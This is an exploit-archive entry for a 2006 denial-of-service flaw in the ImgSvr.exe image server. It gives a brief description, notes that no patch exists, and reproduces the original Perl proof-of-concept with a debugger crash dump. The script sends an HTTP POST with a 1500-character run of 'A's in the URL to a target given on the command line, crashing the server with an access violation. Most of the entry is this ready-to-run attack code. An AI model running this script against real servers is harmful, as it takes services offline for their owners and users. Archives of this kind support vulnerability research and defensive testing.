ImgSvr.exe Overly Long HTTP Post Request Denial of Service Vulnerability

vendor:

ImgSvr.exe

by:

n00b

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: ImgSvr.exe

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP1

2006

ImgSvr.exe Overly Long HTTP Post Request Denial of Service Vulnerability

A denial of service vulnerability exists in ImgSvr.exe due to an overly long HTTP post request. Sending an overly long post request will crash the server with an access violation error. This vulnerability was tested on Windows XP SP1.

Mitigation:

No known mitigation or remediation for this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/perl
##Proof of concept.
#################################################################################
#Credit's:to n00b for finding this bug.
#
#Afected :ImgSvr.exe
#
#Download softwear: http://freshmeat.net/projects/imgsvr/
#
#Crash the server with overly long http post request..
#
#Main site of affected product. http://freshmeat.net/projects/imgsvr/
#Sending an overly long post request will crash the server with the following.
#Acsess violation..
#Tested :win xp sp1..
#
#error:500 Server closed connection without sending any data back
#this is a error msg will receive on successful exploitation.
#################################################################################
##(e7c.168): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141 edi=00000000
# eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206
# *** WARNING: Unable to verify checksum for C:\Program Files\Imgsvr\imgsvr.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Imgsvr\imgsvr.exe
# imgsvr+0x2bf546:
# 006bf546 881c30           mov     [eax+esi],bl            ds:0023:82828283=??
###################################################################################
#
# Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235
###################################################################################


use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my $host = shift or die("insert a target");

my $req = HTTP::Request->new(POST => "http://$host:80/" . A x 1500);

$req->content_type('application/x-www-form-urlencoded');
$req->content('match=www&errors=0');

my $res = $ua->request($req);
print $res->as_string;

# milw0rm.com [2006-07-04]